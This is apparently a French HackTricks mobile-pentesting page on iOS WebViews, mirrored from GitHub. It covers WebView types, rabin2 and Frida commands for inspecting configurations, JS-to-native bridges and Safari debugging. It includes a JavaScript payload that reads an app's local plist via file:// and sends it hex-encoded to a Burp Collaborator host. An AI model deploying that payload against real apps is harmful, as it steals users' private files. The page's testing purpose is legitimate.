mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
279 lines
16 KiB
Markdown
279 lines
16 KiB
Markdown
# iOS WebViews
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Le code de cette page a été extrait de [ici](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Consultez la page pour plus de détails.
|
|
|
|
## Types de WebViews
|
|
|
|
Les WebViews sont utilisés dans les applications pour afficher du contenu web de manière interactive. Différents types de WebViews offrent différentes fonctionnalités et caractéristiques de sécurité pour les applications iOS. Voici un bref aperçu :
|
|
|
|
- **UIWebView**, qui n'est plus recommandé à partir d'iOS 12 en raison de son manque de support pour désactiver **JavaScript**, le rendant susceptible à l'injection de scripts et aux attaques de **Cross-Site Scripting (XSS)**.
|
|
|
|
- **WKWebView** est l'option préférée pour intégrer du contenu web dans les applications, offrant un contrôle amélioré sur le contenu et les fonctionnalités de sécurité. **JavaScript** est activé par défaut, mais il peut être désactivé si nécessaire. Il prend également en charge des fonctionnalités pour empêcher **JavaScript** d'ouvrir automatiquement des fenêtres et garantit que tout le contenu est chargé de manière sécurisée. De plus, l'architecture de **WKWebView** minimise le risque de corruption de la mémoire affectant le processus principal de l'application.
|
|
|
|
- **SFSafariViewController** offre une expérience de navigation web standardisée au sein des applications, reconnaissable par sa mise en page spécifique incluant un champ d'adresse en lecture seule, des boutons de partage et de navigation, et un lien direct pour ouvrir le contenu dans Safari. Contrairement à **WKWebView**, **JavaScript** ne peut pas être désactivé dans **SFSafariViewController**, qui partage également des cookies et des données avec Safari, préservant la vie privée de l'utilisateur vis-à-vis de l'application. Il doit être affiché de manière proéminente conformément aux directives de l'App Store.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## Résumé de l'exploration de la configuration des WebViews
|
|
|
|
### **Aperçu de l'analyse statique**
|
|
|
|
Dans le processus d'examen des configurations de **WebViews**, deux types principaux sont ciblés : **UIWebView** et **WKWebView**. Pour identifier ces WebViews dans un binaire, des commandes sont utilisées, recherchant des références de classe spécifiques et des méthodes d'initialisation.
|
|
|
|
- **Identification de UIWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
Cette commande aide à localiser des instances de **UIWebView** en recherchant des chaînes de texte liées à cela dans le binaire.
|
|
|
|
- **Identification de WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
De même, pour **WKWebView**, cette commande recherche dans le binaire des chaînes de texte indicatives de son utilisation.
|
|
|
|
De plus, pour trouver comment un **WKWebView** est initialisé, la commande suivante est exécutée, ciblant la signature de méthode liée à son initialisation :
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **Vérification de la Configuration JavaScript**
|
|
|
|
Pour **WKWebView**, il est souligné que désactiver JavaScript est une bonne pratique sauf si nécessaire. Le binaire compilé est recherché pour confirmer que la propriété `javaScriptEnabled` est définie sur `false`, garantissant que JavaScript est désactivé :
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Vérification du contenu uniquement sécurisé**
|
|
|
|
**WKWebView** offre la capacité d'identifier les problèmes de contenu mixte, contrairement à **UIWebView**. Cela est vérifié en utilisant la propriété `hasOnlySecureContent` pour s'assurer que toutes les ressources de la page sont chargées via des connexions sécurisées. La recherche dans le binaire compilé est effectuée comme suit :
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **Aperçus sur l'analyse dynamique**
|
|
|
|
L'analyse dynamique implique l'inspection du tas pour les instances de WebView et leurs propriétés. Un script nommé `webviews_inspector.js` est utilisé à cet effet, ciblant les instances `UIWebView`, `WKWebView` et `SFSafariViewController`. Il enregistre des informations sur les instances trouvées, y compris les URL et les paramètres liés à JavaScript et au contenu sécurisé.
|
|
|
|
L'inspection du tas peut être effectuée en utilisant `ObjC.choose()` pour identifier les instances de WebView et vérifier les propriétés `javaScriptEnabled` et `hasonlysecurecontent`.
|
|
```javascript:webviews_inspector.js
|
|
ObjC.choose(ObjC.classes["UIWebView"], {
|
|
onMatch: function (ui) {
|
|
console.log("onMatch: ", ui)
|
|
console.log("URL: ", ui.request().toString())
|
|
},
|
|
onComplete: function () {
|
|
console.log("done for UIWebView!")
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["WKWebView"], {
|
|
onMatch: function (wk) {
|
|
console.log("onMatch: ", wk)
|
|
console.log("URL: ", wk.URL().toString())
|
|
},
|
|
onComplete: function () {
|
|
console.log("done for WKWebView!")
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["SFSafariViewController"], {
|
|
onMatch: function (sf) {
|
|
console.log("onMatch: ", sf)
|
|
},
|
|
onComplete: function () {
|
|
console.log("done for SFSafariViewController!")
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["WKWebView"], {
|
|
onMatch: function (wk) {
|
|
console.log("onMatch: ", wk)
|
|
console.log(
|
|
"javaScriptEnabled:",
|
|
wk.configuration().preferences().javaScriptEnabled()
|
|
)
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["WKWebView"], {
|
|
onMatch: function (wk) {
|
|
console.log("onMatch: ", wk)
|
|
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
|
|
},
|
|
})
|
|
```
|
|
Le script est exécuté avec :
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**Résultats Clés**:
|
|
|
|
- Les instances de WebViews sont localisées et inspectées avec succès.
|
|
- L'activation de JavaScript et les paramètres de contenu sécurisé sont vérifiés.
|
|
|
|
Ce résumé encapsule les étapes et commandes critiques impliquées dans l'analyse des configurations de WebView à travers des approches statiques et dynamiques, en se concentrant sur des fonctionnalités de sécurité telles que l'activation de JavaScript et la détection de contenu mixte.
|
|
|
|
## Gestion du Protocole WebView
|
|
|
|
La gestion du contenu dans les WebViews est un aspect critique, surtout lorsqu'il s'agit de divers protocoles tels que `http(s)://`, `file://`, et `tel://`. Ces protocoles permettent le chargement de contenu à la fois distant et local au sein des applications. Il est souligné que lors du chargement de contenu local, des précautions doivent être prises pour empêcher les utilisateurs d'influencer le nom ou le chemin du fichier et de modifier le contenu lui-même.
|
|
|
|
**WebViews** offrent différentes méthodes pour le chargement de contenu. Pour **UIWebView**, désormais obsolète, des méthodes comme `loadHTMLString:baseURL:` et `loadData:MIMEType:textEncodingName:baseURL:` sont utilisées. **WKWebView**, en revanche, utilise `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, et `loadRequest:` pour le contenu web. Des méthodes telles que `pathForResource:ofType:`, `URLForResource:withExtension:`, et `init(contentsOf:encoding:)` sont généralement utilisées pour charger des fichiers locaux. La méthode `loadFileURL:allowingReadAccessToURL:` est particulièrement notable pour sa capacité à charger une URL ou un répertoire spécifique dans le WebView, exposant potentiellement des données sensibles si un répertoire est spécifié.
|
|
|
|
Pour trouver ces méthodes dans le code source ou le binaire compilé, des commandes comme les suivantes peuvent être utilisées :
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
Concernant **l'accès aux fichiers**, UIWebView le permet universellement, tandis que WKWebView introduit les paramètres `allowFileAccessFromFileURLs` et `allowUniversalAccessFromFileURLs` pour gérer l'accès à partir des URL de fichiers, les deux étant faux par défaut.
|
|
|
|
Un exemple de script Frida est fourni pour inspecter les configurations de **WKWebView** pour les paramètres de sécurité :
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
Enfin, un exemple de charge utile JavaScript visant à exfiltrer des fichiers locaux démontre le risque de sécurité potentiel associé à des WebViews mal configurés. Cette charge utile encode le contenu des fichiers au format hexadécimal avant de les transmettre à un serveur, soulignant l'importance de mesures de sécurité strictes dans les implémentations de WebView.
|
|
```javascript
|
|
String.prototype.hexEncode = function () {
|
|
var hex, i
|
|
var result = ""
|
|
for (i = 0; i < this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16)
|
|
result += ("000" + hex).slice(-4)
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest()
|
|
xhr.onreadystatechange = function () {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest()
|
|
xhr2.open(
|
|
"GET",
|
|
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
|
|
xhr.responseText.hexEncode(),
|
|
true
|
|
)
|
|
xhr2.send(null)
|
|
}
|
|
}
|
|
xhr.open(
|
|
"GET",
|
|
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
|
|
true
|
|
)
|
|
xhr.send(null)
|
|
```
|
|
## Méthodes natives exposées via WebViews
|
|
|
|
## Comprendre les interfaces natives WebView dans iOS
|
|
|
|
Depuis iOS 7, Apple a fourni des API pour **la communication entre JavaScript dans un WebView et des** objets Swift ou Objective-C natifs. Cette intégration est principalement facilitée par deux méthodes :
|
|
|
|
- **JSContext** : Une fonction JavaScript est automatiquement créée lorsqu'un bloc Swift ou Objective-C est lié à un identifiant dans un `JSContext`. Cela permet une intégration et une communication fluides entre JavaScript et le code natif.
|
|
- **JSExport Protocol** : En héritant du protocole `JSExport`, les propriétés natives, les méthodes d'instance et les méthodes de classe peuvent être exposées à JavaScript. Cela signifie que tout changement effectué dans l'environnement JavaScript est reflété dans l'environnement natif, et vice versa. Cependant, il est essentiel de s'assurer que les données sensibles ne sont pas exposées involontairement par ce biais.
|
|
|
|
### Accéder à `JSContext` en Objective-C
|
|
|
|
En Objective-C, le `JSContext` pour un `UIWebView` peut être récupéré avec la ligne de code suivante :
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### Communication avec `WKWebView`
|
|
|
|
Pour `WKWebView`, l'accès direct à `JSContext` n'est pas disponible. Au lieu de cela, le passage de messages est utilisé via la fonction `postMessage`, permettant la communication entre JavaScript et le natif. Les gestionnaires pour ces messages sont configurés comme suit, permettant à JavaScript d'interagir avec l'application native de manière sécurisée :
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Interaction et Test
|
|
|
|
JavaScript peut interagir avec la couche native en définissant un gestionnaire de messages de script. Cela permet des opérations comme l'invocation de fonctions natives depuis une page web :
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage([
|
|
"multiplyNumbers",
|
|
value1,
|
|
value2,
|
|
])
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Pour capturer et manipuler le résultat d'un appel de fonction natif, on peut remplacer la fonction de rappel dans le HTML :
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result)
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
Le côté natif gère l'appel JavaScript comme indiqué dans la classe `JavaScriptBridgeMessageHandler`, où le résultat des opérations comme la multiplication de nombres est traité et renvoyé à JavaScript pour affichage ou manipulation supplémentaire :
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## Débogage des WebViews iOS
|
|
|
|
(Tutoriel basé sur celui de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Pour déboguer efficacement le contenu web dans les webviews iOS, une configuration spécifique impliquant les outils de développement de Safari est nécessaire en raison du fait que les messages envoyés à `console.log()` ne s'affichent pas dans les journaux Xcode. Voici un guide simplifié, mettant en avant les étapes et exigences clés :
|
|
|
|
- **Préparation sur l'appareil iOS** : L'inspecteur web de Safari doit être activé sur votre appareil iOS. Cela se fait en allant dans **Réglages > Safari > Avancé**, et en activant l'_Inspecteur Web_.
|
|
|
|
- **Préparation sur l'appareil macOS** : Sur votre machine de développement macOS, vous devez activer les outils de développement dans Safari. Lancez Safari, accédez à **Safari > Préférences > Avancé**, et sélectionnez l'option _Afficher le menu Développement_.
|
|
|
|
- **Connexion et Débogage** : Après avoir connecté votre appareil iOS à votre ordinateur macOS et lancé votre application, utilisez Safari sur votre appareil macOS pour sélectionner la webview que vous souhaitez déboguer. Naviguez vers _Développement_ dans la barre de menu de Safari, survolez le nom de votre appareil iOS pour voir une liste des instances de webview, et sélectionnez l'instance que vous souhaitez inspecter. Une nouvelle fenêtre de l'inspecteur web de Safari s'ouvrira à cet effet.
|
|
|
|
Cependant, soyez conscient des limitations :
|
|
|
|
- Le débogage avec cette méthode nécessite un appareil macOS car il repose sur Safari.
|
|
- Seules les webviews dans les applications chargées sur votre appareil via Xcode sont éligibles pour le débogage. Les webviews dans les applications installées via l'App Store ou Apple Configurator ne peuvent pas être déboguées de cette manière.
|
|
|
|
## Références
|
|
|
|
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|